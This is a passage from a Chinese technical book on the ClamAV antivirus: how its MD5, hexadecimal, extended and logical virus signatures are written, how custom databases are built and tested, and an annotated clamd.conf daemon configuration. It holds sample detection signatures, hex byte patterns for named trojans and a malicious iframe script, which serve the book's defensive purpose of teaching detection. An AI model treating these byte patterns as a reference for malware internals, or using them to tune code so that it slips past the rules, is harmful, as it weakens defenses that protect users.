第一个文件COPYING就不用说了，有兴趣看看。下面的讲述中会提到几个数据库类文件，有些文件在官方文档中没有介绍。




10.3.2 签名格式（Signature formats）


1．MD5

ClamAV最容易的签名方式是使用MD5校验和，但是这种方式只能对付静态恶意软件（static malware）。给一个文件建立MD5校验和签名使用sigtool工具的--md5参数。示例如下。

[root@www ty]# sigtool --md5 mk.sh

ca317bca407835a5f16c25a8ee9ed86f:110:mk.sh

[root@www ty]# sigtool --md5 mk.sh >>custom.hdb

[root@www ty]# cat custom.hdb

ca317bca407835a5f16c25a8ee9ed86f:110:mk.sh

在上面的例子中自定义了一个病毒库（custom.hdb），现在使用这个病毒库对文件进行扫描，命令如下。

[root@www ty]# /usr/local/clamav/bin/clamscan -d custom.hdb mk.sh

mk.sh: mk.sh.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------

Known viruses: 1

Engine version: 0.95.3

Scanned directories: 0

Scanned files: 1

Infected files: 1

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 0.00:1)

Time: 0.030 sec (0 m 0 s)

扫描的结果显示发现了一个病毒。

然后将custom.hdb（文件名可以按照自己的意愿去定义，但是.hdb不能改）文件拷贝到ClamAV病毒库所在的目录（如/usr/local/clamav/share/clamav/）下，单个数据库文件可以包含任意多个数字签名，clamscan/clamd命令每次开始时都会自动载入这个数据库文件。

示例如下。

[root@www ty]# mv custom.hdb /usr/local/clamav/share/clamav/

[root@www ty]# /usr/local/clamav/bin/clamscan mk.sh

mk.sh: mk.sh.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------

Known viruses: 734202

Engine version: 0.95.3

Scanned directories: 0

Scanned files: 1

Infected files: 1

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 0.00:1)

Time: 4.721 sec (0 m 4 s)

可以看出有一个非官方的病毒被检测出来。

2．MD5为PE文件签名

使用MD5为PE文件的一个特定的部分建立MD5签名，这样的签名放在.mdb文件中，其格式如下。

PESectionSize:MD5:MalwareName　.

↑文件的大小 ↑MD5 校验和 ↑恶意软件名.

通过sigtool工具的--mdb选项，可以很容易生成一个PE文件特定部分（section）的MD5签名。

3．十六进制的签名

ClamAV所有的签名都使用十六进制格式。ClamAV可以在数据流中以十六进制的格式匹配查找字符串。如果一个恶意软件中包含一个被病毒库定义了的字符串，那么在ClamAV过滤数据流时就会匹配，病毒自然就会被查出。另外还可以使用各种通配符（wildcard）。

（1）十六进制格式

使用sigtool --hex-dump 能够将任何数据转化为十六进制字符串。

[root@www ty]# /usr/local/clamav/bin/sigtool --hex-dump

Do you love me?

446f20796f75206c6f7665206d653f0a

0a

0a

446f20796f75206c6f7665206d653f是由“Do you love me?”生成的十六进制码，结尾的0a是换行符，这个命令需要按CTRL+C键来结束。

（2）通配符（Wildcard）

ClamAV在十六进制签名中支持下列通配符，如表10.2所示。


表10.2 通配符
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（3）基本签名格式（Basic signature format）

最简单（但不赞成）的签名格式如下。

MalwareName=HexSignature

↑恶意软件名 ↑十六进制签名

所有这种类型的签名都必须放在*.db内，ClamAV将会在全文件中查找HexSignature。

示例如下。

DOS.Summer.616 (Clam)=2e3086????fec84575f69dc3

Exploit.Win32.WinRar.G (Clam)=526172210000170000000000000029b4f5342001

DieHard.3=76073c4077039803d08bc22d4001ab8bcc0efa178be78ec08dad250ebf7f22fdbe18004e7cfa

（4）扩展签名格式（Extended signature format）

扩展签名格式允许添加额外的规格信息，如目标文件类型、病毒偏移量（offset）或引擎版本，使得检测性能更可靠。格式如下。

MalwareName:TargetType:Offset:HexSignature[:MinEngineFunctionalityLevel:[Max]]

↑恶意软件名称 ↑目标文件类型↑偏移量 ↑十六进制签名　↑最小级别　　↑最大级别

示例如下。

W32.Virut.Gen.D-166:1:*:e8??000000{-100}864500(f9|fc|66|eb|89|87|f8|f5|90){-15}8845 00[0-3]c3:38

目标文件类型（TargetType）

在扩展签名格式中，目标文件的类型使用了数字表示，它们可以是表10.3所示的数字之一。


表10.3 目标文件类型
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偏移量（Offset）

星号或十进制数字n和特定修饰语的结合，见表10.4和表10.5。


表10.4 偏移量组成
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示例如下。

Trojan.AVKill-2:1:*:55508d04005857508d04005833c0508d040058893424508d040058897424045 08d0400586a30508d04005858e92404000053e9e501000083ec04508d04005833c9508d04005868c4b86a46 508d04005868467e5423508d0400586800000000508d04005868fd0f9107508d04005854508d0400586830f 20000508d0400586810

如果是PE和ELF文件的签名还支持如下形式。


表10.5 偏移量组成
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示例如下。

Trojan.Crypt-288:1:EP+0:55508d04005857508d04005833c0508d040058893424508d04005889742 404508d0400586a30508d04005858e947060000c3e94706000083ec04508d04005833c9508d04005868a352 3d05508d04005868c893d6a4508d0400586800000000508d04005868547020c2508d04005854508d0400586 830920a00508d0400586810

所有上面的偏移量（除了*外）都可以变为“floating offsets”，而使用（Offset,MaxShift）形式表示，MaxShift是一个无符号整数。“floating offsets”将会匹配Offset和Offset+MaxShift 之间的每一个偏移量，例如10,5将会匹配所有从10到15的偏移量，EP+n,y将会匹配所有从EP+n到EP+n+y之间的偏移量。低于0.91版本的ClamAV会忽略MaxShift扩展，而只使用偏移量（Offset）。

所有以扩展签名格式的签名都必须放置在*.ndb文件内。

（5）逻辑签名（Logical signatures）

逻辑签名允许在扩展格式中使用逻辑运算符结合多种签名,从而提供更为详细和灵活的匹配方式。逻辑签名保存在*.ldb文件内，格式如下。

SignatureName;TargetDescriptionBlock;LogicalExpression;Subsig0;Subsig1;Subsig2;.....

↑签名名字　　↑描述　　↑逻辑表达式　　↑子签名……

示例如下。

Trojan.Iframe-15;Target:3;0&1&2&3&4&5;636f6465312a2f{-1000}646f63756d656e742e637265 617465656c656d656e74{-1000}2e7265706c616365282f{-100}2f69672c222229;5c24;5c28;5c5e;5c21;5c29

相应的域见表10.6。


表10.6 逻辑签名的组成
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逻辑表达式的种类见表10.7。


表10.7 逻辑表达式种类
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子表达式修饰符表见表10.8。


表10.8 子表达式修饰符
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示例如下。

Sig1;Target:0;(0&1&2&3)&(4|1);6b6f74656b;616c61;7a6f6c77;73746566616e;deadbeef

Sig2;Target:0;((0|1|2)>5,2)&(3|1);6b6f74656b;616c61;7a6f6c77;73746566616e

Sig3;Target:0;((0|1|2|3)=2)&(4|1);6b6f74656b;616c61;7a6f6c77;73746566616e;deadbeef

Sig4;Target:1,Engine:18-20;((0|1)&(2|3))&4;EP+123:33c06834f04100f2aef7d14951684cf04100e8110a00;S2+78:22??232c2d252229{-15}6e6573(63|64)61706528;S+50:68efa311c3b9963cb1ee8 e586d32aeb9043e;f9c58dcf43987e4f519d629b103375;SL+550:6300680065005c0046006900

4．基于归档文件元数据的签名

基于归档文件元数据的签名能够阻止恶意软件通过加密的zip或rar文件传播，从而使得归档文件得以保护。

格式如下。
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相应的域见表10.9。


表10.9 基于归档文件元数据的签名组成
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续表
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这类签名保存在.zmd或.rmd类型的数据库文件中。

5．白名单数据库（Whitelist databases）

白名单使用 MD5 格式的签名方式，这类数据库放置在.fp 形式的数据库文件中。可以将main.cvd数据库文件中的指定签名列入白名单，也可以将一个特定的文件列入优良者名单，使用MD5签名的格式，并且将其放入.fp形式的数据库文件中。

示例如下。

585edcb9a5421e150f5e852dd90d78f8:97280:Uninstall.exe

将main.cvd数据库文件中的一个特定签名列入优良者名单。

使用如下格式。

db_name:line_number:signature_name

↑数据库名　↑行号　↑签名名字

将本条目放入daily.ign或local.ign文件中。示例如下。

[root@www clamav]# more daily.ign

fake:1:Dont_remove_this_line

main.ndb:31:HTML.Phishing.Bank-22

main.ndb:53958:Email.Phishing.DblDom-57

main.ndb:60737:Trojan.Pakes-2516

main.mdb:501937:Trojan.Agent-121212

main.mdb:259532:Trojan.Agent-3290

可以顺藤摸瓜去“db_name”（如main.cvd）数据库文件中利用行号“line_number”（如53958）找到相应的“signature_name”（如Email.Phishing.DblDom-57）。




10.3.3 签名名字（Signature names）


ClamAV签名名字使用下列前缀，见表10.10。


表10.10 签名前缀
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续表
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命名约定的重要规则如下。

① 总是在恶意软件名后使用“-zippwd”作为后缀的，就将其放入.zmd 类型的数据库中。

示例如下。

[root@www clamav]# more daily.zmd

Worm.Bagle.Gen-3-zippwd:1:*:85508:45850:*:8:2:2

Worm.Bagle.Gen-4-zippwd:1:*:69842:59805:*:8:2:2

Worm.Bagle.Gen-5-zippwd:1:*:69842:59804:*:8:2:2

……

② 总是在恶意软件名后使用“-rarpwd”作为后缀的，就将其放入. rmd 类型的数据库中。

③ 恶意软件名只能使用字母字符，破折号“-”、句点“.”和下划线“_”，不能使用空格、单引号及引用标记（quote mark）。




10.3.4 三类特殊文件的签名


这三类特殊的文件签名包括HTML文件、文本文件和压缩的PE文件。

1．HTML文件

ClamAV包含一个专门的HTML规范化代码工具，可以用来帮助检测HTML利用（exploit）。

通过运行sigtool --html-normalise 可以使一个网页文件生成如下文件。

nocomment.html：被规范化的文件，小写字母，移除了注释和多余的空格。

notags.html：同上面的文件一样，但是去除了所有的tags。

rfc2397：还有一个rfc2397目录，这个目录通常为空。

script.html：如果是使用老版本的ClamAV，还会生成一个script.html

文件，它是从原始的HTML文件中提取出来的JavaScript文件。

HTML代码自动解码为JScript.encode部分和字符（例如&#102;），需要对其中之一建立一个签名。去除可能的假阳性（false positive）警告, 目标文件类型（TargetType）设置为3。

2．文本文件（Text files）

同HTML文件一样，在扫描前将所有的ASCII文本文件规范化（转化为小写字母，所有的多余空格和控制字符都被去除）。使用clamscan --leave-temps 得到一个规范化的文件，然后建立签名，目标类型（target type）为7。

示例如下。

[root@www html]# /usr/local/clamav/bin/clamscan --leave-temps m.txt

m.txt: OK

----------- SCAN SUMMARY -----------

Known viruses: 763684

Engine version: 0.95.3

Scanned directories: 0

Scanned files: 1

Infected files: 0

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 0.00:1)

Time: 4.380 sec (0 m 4 s)

查看临时目录如下。

[root@www tmp]# ll

-rwx------　1 root　root　134 Mar 25 13:23 clamav-c101b45c22b8cb73ac680cff2484f608

可见该文件只有小写字母和单一的空格了。

3．压缩的PE文件

运行带有--debug --leave-temps的clamscan，Libclamav支持使用UPX、FSG、Petite或PE packer可执行程序文件压缩器压缩的文件，例如下面输出一个FSG压缩的文件。

LibClamAV debug: UPX/FSG/MEW: empty section found - assuming compression

LibClamAV debug: FSG: found old EP @119e0

LibClamAV debug: FSG: Unpacked and rebuilt executable saved in

/tmp/clamav-f592b20f9329ac1c91f0e12137bcce6c

下一步就是为/tmp/clamav-f592b20f9329ac1c91f0e12137bcce6c 建立一个目标文件类型（TargetType）为1的签名。




10.3.5 自定义数据库


分析各种签名及数据库类型的目的是理解使用 CVD 数据库，然后在此基础上定义自己的用户数据库。前面已经讲过使用MD5自定义的数据库，并且也查出了”病毒”，但是MD5对于静态的、只是嵌入在某一个文件中的病毒有效果。但是大多说的恶意软件不是这样，像蠕虫会变异为多个不同名字的文件，这样 MD5 就不能正确地将病毒扫描出，因此 ClamAV中都是使用十六进制格式来检测。

前面讲过可以通过使用sigtool --hex-dump将任何数据转化为十六进制字符串，一个例子如下。

[root@www ty]# /usr/local/clamav/bin/sigtool --hex-dump

Do you love me?

446f20796f75206c6f7665206d653f0a

0a

0a

现在我们来自定义一个数据库，命令如下。

[root@www tmp]# vi custom.db

myMalware=446f20796f75206c6f7665206d653f

再写一个文件，让文件中包含“Do you love me?”。

[root@www tmp]# vi myfile

Aaaaaaaaaaaaaaa

FfffffffDo you love me?Nnnnnnn&&&&&nnnnnnnnnnn888888888&&&&

使用自定义的数据库扫描如下。

[root@www tmp]# /usr/local/clamav/bin/clamscan -d custom.db myfile

myfile: myMalware.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------

Known viruses: 1

Engine version: 0.95.3

Scanned directories: 0

Scanned files: 1

Infected files: 1

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 0.00:1)

Time: 0.003 sec (0 m 0 s)

可以发现一个非官方的病毒被扫描到了，病毒名就是自定义的myMalware。

把这个自定义的数据库拷贝到ClamAV指定的数据库目录中，再次扫描如下。

[root@www tmp]# /usr/local/clamav/bin/clamscan -d custom.db

……

/tmp/myfile: myMalware.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------

Known viruses: 1

Engine version: 0.95.3

Scanned directories: 1

Scanned files: 13

Infected files: 1

Data scanned: 0.07 MB

Data read: 0.04 MB (ratio 1.73:1)

Time: 0.147 sec (0 m 0 s)

这个非官方的病毒被扫描到了。




第11章 Clamd服务器


ClamAV提供了客户端和服务器端，客户端是clamdscan，服务器端是clamd，它是后台运行的反病毒守护进程，可以和其他的应用程序或库文件结合来实现更广泛的应用。clamd使用套接字，包括本地套接字（UNIX套接字）和网络套接字（TCP套接字）、信号同步、线程池等技术。clamd通过启动时的命令行参数和配置文件中的参数来设置它的杀毒功能项，如病毒库装载、杀毒模块的支持、日志的记录和启动后运行的用户。另外特别要注意临时文件夹的选择，因为所的临时文件都将被存放在这里，比如扫描时归档文件解压后的文件和邮件附件等都在这个临时目录中进行。

另外由于病毒服务器和其他的服务器不同，如果一旦因为某些原因致使clamd服务进程关闭，那么病毒检测功能就不再起作用了，而用户却可能全然不知，因此clamd还提供了检测clamd服务进程运行情况的功能。

建立clamd服务器的意义在于为其他的服务提供服务，例如Samba、Postfix、Apache、Proftp和Squid等，也包括对用户文件系统的杀毒。

建立服务器的步骤包括编译安装ClamAV、定制配置文件及与其他服务结合。




11.1 安装ClamAV


ClamAV的安装比较简单，具体步骤见“编译安装”。




11.2 定制配置文件


在使用之前要编辑配置文件，当然运行出错时也得编辑配置文件。

[root@mail clamav]#clamd

ERROR: Please edit the example config file /usr/local/clamav/etc/ clamd.conf

出现上面的错误是因为没有对配置文件进行修改，没有把配置文件中的“example”注释掉或删除掉。修改后就可以保证clamd服务运行起来，然后再进行适当的配置修改。

ClamAV的配置文件包括两个，一个是控制clamd行为的clamd.conf文件，另一个freshclam命令用于配置升级的freshclam.conf配置文件。虽然说freshclam不是clamd的组成部分，但是clamd也离不开freshclam，因为clamd使用的病毒库就是freshclam命令“拖”回来的，因此也要配置freshclam.conf文件。




11.3 与其他服务结合


每一种服务与clamd的结合方法都有所不同，因此对于使用clamd服务器的服务来说，这是一个重点。

本书主要讲述与Samba、Postfix、Apache、Proftp和Squid服务的结合，以及通过ClamFS实现的用户文件系统，dazukofs和dazuko实现的Linux文件系统的病毒防护。关于这部分内容请参考相关章节。




11.4 相关的配置文件





11.4.1 clamd.conf配置文件格式


配置文件包括注释、选项（此处用变量更合适，所以在下面的行文中选项和变量一样）及其参数，以“#”开头的行为注释行，被解析器忽略。选项和参数区别大小写。

1．配置文件中变量的参数类型

不同的变量使用不同类型的参数，clamd配置文件中的参数有以下4类。布尔型（BOOL）、字符串型（STRING）、SIZE和NUMBER型。

参数类型如表11.1所示。


表11.1 配置文件参数类型

[image: figure_0162_0077]


当一些变量没有使用时（被注释掉或者是没有包含在配置文件中），那么clamd会使用默认的值。在Linux下使用的任何一种软件，配置文件总是它的精华所在，配置文件中的变量则是它的功能所在，最难理解的也就是这部分。因此，我们在这里要对这两个配置文件做全面的解读，以便全面了解clamd的功能。

2．配置文件中的变量

以下是配置文件中的变量。

Example

指示这是一个示例配置文件，如果在配置文件中设置这个变量，那么clamd 不会运行。

LogFile

功能：启用日志功能，将日志写入指定的文件。

默认值：no

取值类型：STRING

LogFileUnlock

功能：在默认情况下，clamd 日志文件使用的是写锁定模式。使用系统锁是为了避免使用同一个配置文件同时运行几个 clamd。如果是要向同一个日志中写入那么就开启该参数。然而运行多个clamd时，使用不同的配置文件更为合适。

默认值：no

取值类型：BOOL

LogFileMaxSize

功能：限制日志文件的大小。如果日志文件增长到指定的大小之后，那么logger 就不再发送。SIZE的值为0时表示不限制大小。

默认值：1M

取值类型：SIZE

LogTime

功能：每一条信息都有时间信息，就是打印出日志信息的时间戳。

默认值：no

取值类型：BOOL

LogClean

功能：清理日志文件。

默认值：no

取值类型：BOOL

LogSyslog

功能：使用系统的logger（和LogFile 一起工作）。

默认值：no

取值类型：BOOL

LogFacility

功能：指定syslog 信息的级别。

默认值：LOG_LOCAL6

取值类型：STRING

LogVerbose

功能：生成详细日志。

默认值：no

取值类型：BOOL

PidFile

功能：保存守护进程的进程标识到指定的文件。

默认值：no

取值类型：STRING

TemporaryDirectory

功能：临时目录（通常是/tmp 或 /var/tmp）。

默认值：系统指定

取值类型：STRING

DatabaseDirectory

功能：病毒数据库文件的目录路径。

默认值：/var/clamav

取值类型：STRING

LocalSocket

功能：在使用守护进程的方式运行时指定的套接字路径。

默认值：no

取值类型：STRING

FixStaleSocket

功能：删除遗留的套接字（由非正常关机引起）。

默认值：no

取值类型：BOOL

TCPSocket

功能：守护进程监听的TCP端口。

默认值：no

取值类型：NUMBER

TCPAddr

功能：TCP套接字绑定的IP地址。clamd 默认绑定的值是INADDR_ANY

INADDR_ANY 就是指定地址为 0.0.0.0 的地址,这个地址事实上表示不确定地址,或“所有地址”、“任意地址”。一般来说，在各个系统中均定义成为0值。

三个特殊的地址如下。

INADDR_LOOPBACK(127.0.0.1)总是代表经由回环设备的本地主机；

INADDR_ANY(0.0.0.0)表示任何可绑定的地址；

INADDR_BROADCAST(255.255.255.255) 表示任何主机，由于历史的原因，这与绑定为INADDR_ANY有同样的效果。

默认值：no

取值类型：STRING

MaxConnectionQueueLength

功能：等待连接排队可能的最大长度，如果一旦达到这个值，那么clamd 就不再接受连接。半链接队列的最大长度。

默认值：15

取值类型：NUMBER

MaxThreads

功能：clamd允许同一时刻运行的最大线程。

默认值：10

取值类型：NUMBER

ReadTimeout

功能：等待从客户端套接字传输数据的时间，如果超出这个时间，那么就超时。

默认值：120

取值类型：NUMBER

IdleTimeout

功能：等待下一个作业的等待时间，单位是秒。

默认值：30

取值类型：NUMBER

MaxDirectoryRecursion

功能：递归目录的最大深度。

默认值：15

取值类型：NUMBER

FollowDirectorySymlinks

功能：遵循（follow）目录符号链接。

默认值：no

取值类型：BOOL

FollowFileSymlinks

功能：遵循（follow）文件符号链接。

默认值：no

取值类型：BOOL

SelfCheck

功能：执行数据库检测（ClamAV自己的数据库）。

默认值：1800

取值类型：NUMBER

VirusEvent

功能：当病毒发现时执行的命令。在命令中字符串“%v”将会被病毒名替代。

默认值：no

取值类型：COMMAND

ExitOnOOM

功能：当libclamav 报告内存不足，停止ClamAV 守护进程。

默认值：no

取值类型：BOOL

User

功能：使用指定的用户运行 clamd（clamd 必须由root启动）。

默认值：no

取值类型：TRING

AllowSupplementaryGroups

功能：初始化时允许组访问（clamd 必须由root启动）。

默认值：no

取值类型：BOOL

Foreground

功能：不要进入后台，让clamd 运行在前台。

默认值：no

取值类型：BOOL

Debug

功能：使用libclamav 调试（debug）信息。

默认值：no

取值类型：BOOL

LeaveTemporaryFiles

功能：不要删除临时目录的文件（对于调试的目的）。

默认值：no

取值类型：BOOL

StreamMaxLength

功能：扫描数据的最大值，如果达到这个值那么clamd 就会关闭其他的连接。从远程客户端获取数据Clamd 使用了类似FTP 的协议。如果是使用 clamav-milter 在两个远程的 clamd 守护进程做负载平衡，那么需要调试 Stream*选项。这个选项允许指定在扫描单个文件时传输到远程守护进程数据的上限。

默认值：10M

取值类型：SIZE

StreamMinPort

StreamMaxPort

功能：StreamMinPort限制数据端口的范围的最小值，StreamMaxPort限制数据端口的范围的最大值，clamd 通过这些端口获取扫描数据流。官方给的默认配置是 1024～2048，但是实际上这个区间已有各种注册的服务在使用，因此建议使用5000以上的端口号。

默认值：StreamMinPort 1024

StreamMaxPort 2048

取值类型：NUMBER

AlgorithmicDetection

功能：在某些情况下（如复杂的恶意软件、强大的图形文件等），ClamAV 将使用特定的算法，以便提供准确的检测。这个选项控制算法检测。

默认值：yes

取值类型：BOOL

ScanPE

功能：PE 文件被称为可移植的执行体，是Portable Execute的全称，常见的EXE、DLL、OCX、SYS、COM都是PE文件，PE文件是微软Windows操作系统上的程序文件（可能间接被执行，如DLL）。这个选项允许ClamAV对可执行文件进行更深层次的分析，也可根据需要解压流行的可执行压缩包,如UPX。

默认值：yes

取值类型：BOOL

ScanELF

功能：文件是x86 Linux 系统下的一种常用目标文件（object file）格式，这个选项控制扫描ELF文件。

默认值：yes

取值类型：BOOL

DetectBrokenExecutables

功能：控制 clamd 尝试检测破损的可执行文件（包括 PE 和 ELF），并且对它们进行破损标记。

默认值：no

取值类型：BOOL

ScanOLE2

功能：检测OLE2 文件，例如Microsoft Office 文件和 .msi 文件。

默认值：yes

取值类型：BOOL

ScanPDF

功能：检测PDF 文件。

默认值：no

取值类型：BOOL

ScanHTML

功能：对HTML 检测并使其正常化。

默认值：yes

取值类型：BOOL

ScanMail

功能：检测邮件文件。

默认值：yes

取值类型：BOOL

MailFollowURLs

功能：如果邮件中包含 URLs，那么 ClamAV 下载并且对其进行扫描。警告：如果启用这个选项，可能会带来DoS攻击，所以不要在服务器上启用这个功能。

默认值：no

取值类型：BOOL

MailMaxRecursion

功能：限制邮件扫描的递归层次。

默认值：64

取值类型：NUMBER

PhishingSignatures

功能：ClamAV通过签名来尝试发现网络钓鱼的企图。

默认值：yes

取值类型：BOOL

PhishingScanURLs

功能：为防止网络钓鱼的企图，对扫描邮件中的URLs 进行扫描（仅限实验）。

默认值：yes

取值类型：BOOL

PhishingRestrictedScan

功能：只对列入.pdb 数据库的域（domains）做网络钓鱼检测，不推荐关闭这个选项，因为扫描所有域可能导致许多假阳性（false positives）结果!

默认值：no

取值类型：BOOL

PhishingAlwaysBlockSSLMismatch

功能：阻止SSL 不匹配的URLs以及不在数据库中的URL（仅限实验）。

默认值：no

取值类型：BOOL

PhishingAlwaysBlockCloak

功能：始终阻止隐藏的URLs,即使该URL 不在数据库。有一种可能性很小，可能是假阳性（false positives）（仅限实验）。

默认值：no

取值类型：BOOL

ScanArchive

功能：扫描归档文件。

默认值：yes

取值类型：BOOL

ArchiveMaxFileSize

功能：对归档文件扫描大小的规定，大于此值的文件将不再扫描。

默认值：10M

取值类型：SIZE

ArchiveMaxRecursion

功能：限制对归档文件进行扫描的递归级别（目录深度）。

默认值：8

取值类型：NUMBER

ArchiveMaxFiles

功能：扫描归档文件中文件的最大数量。值为0 表示不限制。

默认值：1000

取值类型：NUMBER

ArchiveMaxCompressionRatio

功能：分析归档文件中的每个文件的压缩比，查出潜在的档案炸弹，作为病毒标记（值为0表示不限制）。

默认值：250

取值类型：NUMBER

ArchiveLimitMemoryUsage

功能：使用较慢的解压算法以节约内存。这个选项会对bzip2 解压有作用。

默认值：no

取值类型：BOOL

ArchiveBlockEncrypted

功能：对加密归档文件标记病毒（如Encrypted.Zip和Encrypted.RAR）。

默认值：no

取值类型：BOOL

ArchiveBlockMax

功能：如果达到ArchiveMaxFiles、ArchiveMaxFileSize或ArchiveMaxRecursion的限制，那么就标记归档文件为病毒文件（如RAR.ExceededFileSize和Zip.ExceededFilesLimit）。

默认值：no

取值类型：BOOL

NodalCoreAcceleration

功能：支持Sensory Networks' NodalCore 硬件加速。

取值类型：BOOL

ClamukoScanOnAccess

功能：支持Clamuko激活访问时扫描。Dazuko（/dev/dazuko）必须配置且运行。

默认值：no

取值类型：BOOL

ClamukoScanOnOpen

功能：文件打开时扫描。

默认值：no

取值类型：BOOL

ClamukoScanOnClose

功能：文件关闭时扫描。

默认值：no

取值类型：BOOL

ClamukoScanOnExec

功能：文件执行时扫描。

默认值：no

取值类型：BOOL

ClamukoIncludePath

功能：设置访问时扫描所包含的路径（被包含的所有文件和路径都将被扫描），可以设置多个ClamukoIncludePath，但是每一条指令需要另起一行。

默认值：no

取值类型：STRING

ClamukoExcludePath

功能：设置排除访问时扫描的路径。所有的子目录也将被禁止。该选项也可以设置多次，每一条指令需要另起一行，/proc目录应该排除。

默认值：no

取值类型：STRING

ClamukoMaxFileSize

功能：忽略大于SIZE的文件。

默认值：5M

取值类型：SIZE

以上变量从官方文档整理，但不是全部。下面有必要再将clamd的配置文件分析一下。

3．解析配置文件

结合上面的变量及参数看一下clamd的配置文件。

[root@nas sbin]# vi /usr/local/clamav/etc/clamd.conf

##

## Example config file for the Clam AV daemon

## Please read the clamd.conf(5) manual before editing this file.

##

# 注释或删除掉下面一行

Example

# 如果没有注释掉这行，那么会使用日志功能。

# LogFile 所指定的文件必须有运行clamd 用户的可写权限。

# 要写全路径，例如LogFile /var/log/clamav/clamd.log

# Default: disabled 默认情况下没有开启日志功能。

# LogFile /tmp/clamd.log

# 默认情况下对日志文件实施了写锁定，写锁定是为了避免

# 同时运行多个clamd，而都写入同一个日志文件 。

# (如果想运行另外一个clamd，那么可以拷贝配置文件，

# 但是一定要修改LogFile 变量，不要使用同一个变量值。

# 也可以在运行clamd 时使用--config-file 来指定配置文件，

# 格式为“--config-file=FILE”，

# 这个选项使日志文件保护锁失去保护能力。

# Default: no

# LogFileUnlock yes

# 日志文件的最大值，

# 值为0 表示没限制。

# 可以使用'M' 或 'm' 表示兆字节 (1M = 1m = 1048576 bytes)

# 'K' 或 'k' 表示千字节(1K = 1k = 1024 bytes)。

# 在使用字节表示时不要加其他的修饰，如1048576 就可以了，

# 不要写成1,048,576 形式。

# Default: 1M

# LogFileMaxSize 2M

# 每一条日志都加上时间戳。

# 例如Thu Mar 11 10:18:24 2010 -> Log file size limited to 1048576 bytes.

# 而没有加时间戳的是Log file size limited to 1048576 bytes.

# Default: no

# LogTime yes

# 清除日志文件。这对于调试（debug）大幅度增长的日志很有用。

# Default: no

# LogClean yes

# 使用系统日志（和LogFile 一同工作）。

# Default: no

# LogSyslog yes

# 指定syslog 的日志类型（级别）。

# Default: LOG_LOCAL6

# LogFacility LOG_MAIL

# 启用详细的日志模式。

# Default: no

# LogVerbose yes

# 保存主进程pid。

# Default: disabled

# PidFile /var/run/clamd.pid

# 指定临时目录（全局临时目录）。

# 默认为系统指定，通常是/tmp 或 /var/tmp。

# TemporaryDirectory /var/tmp

# 指定数据库路径。

# 默认值依赖于安装时指定的“--datadir=DIR”目录。

# DatabaseDirectory /var/lib/clamav

# 守护进程可以工作在本地模式（local mode）、网络模式（network mode）

# 或者是同时工作在这两种模式。

# 由于安全（security）的原因，所以推荐在

# 本地模式（local mode）工作。

# 设置本地套接字文件的路径（守护进程将在此监听）。

# Default: disabled（必须指定一个用户）

LocalSocket /tmp/clamd.socket

# 删除遗留的套接字（由非正常关机引起）。

# Default: yes

# FixStaleSocket yes

# TCP 端口地址。

# Default: no

# TCPSocket 3310

# TCP IP 地址。

# 默认绑定的IP 地址是INADDR_ANY，使用INADDR_ANY

# 可能是个不太明智的选择。

# 使用下面的选项，使用指定的IP 地址能提供某种程度的保护。

# Default: no

# TCPAddr 127.0.0.1

# 半链接（pending connection）队列的最大长度。

# Default: 15

# MaxConnectionQueueLength 30

# 从远程客户端获取数据，clamd 使用了类似FTP 的协议，

# 如果使用clamav-milter

# 在两个远程的clamd 守护进程做负载平衡，可能需要调整

# 下列选项的值。

# 超出限制的大小关闭连接数据。

# 这个值要与邮件服务器MTA 的最大附件的值匹配。

# Default: 25M

# StreamMaxLength 10M

# 限制端口的范围。

# Default: 1024

# StreamMinPort 30000

# Default: 2048

# StreamMaxPort 32000

# 同一时刻运行的最大线程。

# Default: 10

# MaxThreads 20

# 等待从远程客户端传回数据的最大时间。

# 值为0 表示没限制。

# Default: 120

# ReadTimeout 300

# This option specifies the time (in seconds)

# after which clamd should

# timeout if a client doesn't provide any initial

# command after connecting.

# Default: 5

# CommandReadTimeout 5

# This option specifies how long to wait (in miliseconds)

# if the send buffer is full.

# Keep this value low to prevent clamd hanging

#

# Default: 500

# SendBufTimeout 200

# Maximum number of queued items (including

# those being processed by MaxThreads threads)

# It is recommended to have this value at least twice

# MaxThreads if possible.

# WARNING: you shouldn't increase this too much

# to avoid running out of file descriptors,

# the following condition should hold:

# MaxThreads*MaxRecursion + (MaxQueue - MaxThreads) + 6<

# RLIMIT_NOFILE (usual max is 1024)

#

# Default: 100

# MaxQueue 200

# Waiting for a new job will timeout after this time (seconds).

# Default: 30

# IdleTimeout 60

# 不扫描匹配正则表达式（regex）的文件和目录。

# 这个指令可以多次使用。

# Default: scan all

# ExcludePath ^/proc/

# ExcludePath ^/sys/

# 扫描目录的最大深度。

# Default: 15

# MaxDirectoryRecursion 20

# 扫描（Follow）目录符号链接。

# Default: no

# FollowDirectorySymlinks yes

# 扫描（Follow）常规文件符号链接。

# Default: no

# FollowFileSymlinks yes

# 执行数据库检测。

# Default: 600 (10 min)

# SelfCheck 600

# 当发现病毒后执行的命令，在命令行中字符串“%v”会被病毒名替代。

# Default: no

# VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v"

# 作为另一个用户运行（clamd 必须由root 启动，然后再由这个选项指定的用户运行）

# Default: 不降级特权

# User clamav

# 初始化允许附加组访问（freshclam 必须由root 运行）。

# Default: no

# AllowSupplementaryGroups no

# 当libclamav 报告内存不足时停止守护进程。

# ExitOnOOM yes

# 不要进入后台。

# Default: no

# Foreground yes

# 开启libclamav 的调试信息。

# Default: no

# Debug yes

# 不要删除临时文件（用于调试目的）。

# Default: no

# LeaveTemporaryFiles yes

# Detect Possibly Unwanted Applications.

# Default: no

# DetectPUA yes

# Exclude a specific PUA category. This directive

# can be used multiple times.

# See http://www.clamav.net/support/pua

# for the complete list of PUA

# categories.

# Default: Load all categories (if DetectPUA is activated)

# ExcludePUA NetTool

# ExcludePUA PWTool

# Only include a specific PUA category.

# This directive can be used multiple

# times.

# Default: Load all categories (if DetectPUA is activated)

# IncludePUA Spy

# IncludePUA Scanner

# IncludePUA RAT

# In some cases (eg. complex malware,

# exploits in graphic files, and others),

# ClamAV uses special algorithms to

# provide accurate detection. This option

# controls the algorithmic detection.

# Default: yes

# AlgorithmicDetection yes

##

## 可执行文件（Executable files）

##

# PE stands for Portable Executable - it's an

# executable file format used

